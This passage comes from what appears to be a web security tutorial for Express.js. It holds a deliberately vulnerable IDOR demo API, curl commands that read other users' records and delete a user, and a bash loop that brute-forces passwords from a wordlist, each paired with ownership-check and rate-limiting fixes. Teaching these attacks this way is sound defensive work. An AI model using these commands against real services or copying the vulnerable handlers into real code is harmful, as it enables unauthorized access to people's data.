{ id: 3, name: 'Charlie (CEO)', email: 'ceo@company.com', salary: 500000, ssn: '111-22-3333' },
];
const orders = [
{ id: 101, userId: 1, product: 'Laptop', total: 1299, card: '**** **** **** 1234' },
{ id: 102, userId: 2, product: 'Phone', total: 999, card: '**** **** **** 5678' },
{ id: 103, userId: 3, product: 'Yacht', total: 2500000, card: '**** **** **** 9999' },
];
// Simulate login - header contains user ID (simplified)functiongetLoggedInUser(req) {
const userId =parseInt(req.headers['x-user-id']) ||1;
return users.find(u=> u.id=== userId);
}
// β VULNERABLE: Returns ANY user's data!
app.get('/api/users/:id', (req, res) => {
const user = users.find(u=> u.id===parseInt(req.params.id));
if (!user) return res.status(404).json({ error: 'User not found' });
// No check if logged-in user can access this!
res.json(user);
});
// β VULNERABLE: Returns ANY order's data!
app.get('/api/orders/:id', (req, res) => {
const order = orders.find(o=> o.id===parseInt(req.params.id));
if (!order) return res.status(404).json({ error: 'Order not found' });
// No check if this order belongs to the user!
res.json(order);
});
// β VULNERABLE: Can delete ANY user!
app.delete('/api/users/:id', (req, res) => {
const idx = users.findIndex(u=> u.id===parseInt(req.params.id));
if (idx ===-1) return res.status(404).json({ error: 'User not found' });
users.splice(idx, 1);
res.json({ message: 'User deleted' });
});
app.listen(3000, () =>console.log('API: http://localhost:3000'));
2
Run the vulnerable API
npm install express
node idor-vulnerable.js
3
Execute IDOR attacks
Pretend you're user 1 (Alice) and try to access other users' data:
# Still logged in as user 1, but accessing user 2's data!
curl http://localhost:3000/api/users/2 -H "X-User-Id: 1"
# Access CEO's sensitive data!
curl http://localhost:3000/api/users/3 -H "X-User-Id: 1"
You can see Bob's SSN and the CEO's $500k salary!
π Enumerate all orders
# Try sequential IDs to find all orders
curl http://localhost:3000/api/orders/101
curl http://localhost:3000/api/orders/102
curl http://localhost:3000/api/orders/103
You found the CEO's $2.5M yacht purchase!
π Delete another user!
# As user 1, delete user 2!
curl -X DELETE http://localhost:3000/api/users/2 -H "X-User-Id: 1"
# Verify Bob is gone
curl http://localhost:3000/api/users/2
β
Fix with authorization checks
// β SAFE: Check ownership before returning data
app.get('/api/users/:id', (req, res) => {
const loggedInUser =getLoggedInUser(req);
const requestedId =parseInt(req.params.id);
// Only allow access to your own profile!if (loggedInUser.id!== requestedId) {
return res.status(403).json({ error: 'Access denied' });
}
const user = users.find(u=> u.id=== requestedId);
res.json(user);
});
// β BETTER: Use /me endpoint instead of exposing IDs
app.get('/api/me', (req, res) => {
const user =getLoggedInUser(req);
res.json(user);
});
// β SAFE: Check order ownership
app.get('/api/orders/:id', (req, res) => {
const loggedInUser =getLoggedInUser(req);
const order = orders.find(o=> o.id===parseInt(req.params.id));
if (!order) return res.status(404).json({ error: 'Not found' });
// Check if order belongs to the user!if (order.userId!== loggedInUser.id) {
return res.status(403).json({ error: 'Access denied' });
}
res.json(order);
});
π‘οΈ Defense in Express
1
Always check ownership β Verify the logged-in user owns the resource
2
Use indirect references β Map public IDs to internal IDs server-side
3
Use UUIDs β Harder to guess than sequential IDs (but still verify ownership!)
// β WRONG: No authorization check
app.get('/api/users/:id/profile', async (req, res) => {
const profile =await db.getProfile(req.params.id);
res.json(profile); // Anyone can see anyone's profile!
});
// β CORRECT: Check ownership
app.get('/api/users/:id/profile', requireAuth, async (req, res) => {
const requestedId = req.params.id;
const currentUserId = req.user.id;
// Only allow access to own profile (or if admin)if (requestedId !== currentUserId &&!req.user.isAdmin) {
return res.status(403).json({ error: 'Forbidden' });
}
const profile =await db.getProfile(requestedId);
res.json(profile);
});
// β BETTER: Use current user's ID directly
app.get('/api/me/profile', requireAuth, async (req, res) => {
const profile =await db.getProfile(req.user.id);
res.json(profile);
});
MEDIUM
Brute Force & DDoS (Missing Rate Limiting)
What is it?
Without rate limiting, attackers can try thousands of passwords per second, scrape your entire database, or overwhelm your server with requests.
π― Attack Example
# Attacker runs password bruteforcefor password in $(cat rockyou.txt); do
curl -X POST https://yoursite.com/login \
-d "email=victim@email.com&password=$password"done# 10,000 attempts per minute if no rate limiting!
π‘οΈ Defense in Express
const rateLimit =require('express-rate-limit');
// General rate limit for all requestsconst generalLimiter =rateLimit({
windowMs: 15*60*1000, // 15 minutesmax: 100, // 100 requests per windowmessage: { error: 'Too many requests, slow down!' }
});
// Strict limit for login attemptsconst loginLimiter =rateLimit({
windowMs: 15*60*1000, // 15 minutesmax: 5, // Only 5 login attemptsmessage: { error: 'Too many login attempts, try again later' },
skipSuccessfulRequests: true// Don't count successful logins
});
app.use(generalLimiter);
app.post('/login', loginLimiter, loginHandler);
app.post('/register', loginLimiter, registerHandler);
π§ͺDeep Dive: Simulate Brute Force AttackHands-on Lab
β οΈ
Educational purposes only! This demonstrates brute force attacks on a local vulnerable server.
1
Create a vulnerable login server (no rate limiting)
The attacker cracked the admin password in just 3 attempts! With a real wordlist (like RockYou with 14M passwords), this happens in seconds without rate limiting.
β
Fix: Add rate limiting
Create login-protected.js:
// login-protected.js - WITH RATE LIMITINGconst express =require('express');
const rateLimit =require('express-rate-limit');
const app =express();
app.use(express.json());
// β PROTECTED: Strict rate limiting on loginconst loginLimiter =rateLimit({
windowMs: 15*60*1000, // 15 minutesmax: 5, // Only 5 attempts per 15 minmessage: {
success: false,
error: 'Too many login attempts. Try again in 15 minutes.',
retryAfter: '15 minutes'
},
standardHeaders: true, // Return rate limit info in headerslegacyHeaders: false
});
// Same user databaseconst users = {
'admin@company.com': { password: 'password123', role: 'admin' }
};
// β Rate limiter applied to login route
app.post('/login', loginLimiter, (req, res) => {
const { email, password } = req.body;
const user = users[email];
if (user && user.password=== password) {
res.json({ success: true, message: 'Login successful!' });
} else {
res.status(401).json({ success: false, message: 'Invalid credentials' });
}
});
app.listen(3000, () => {
console.log('Protected login server: http://localhost:3000');
console.log('β Rate limited: max 5 attempts per 15 minutes');
});
Now run the brute force script again - it gets blocked after 5 attempts! The attacker would need 15+ hours to try just 100 passwords instead of milliseconds.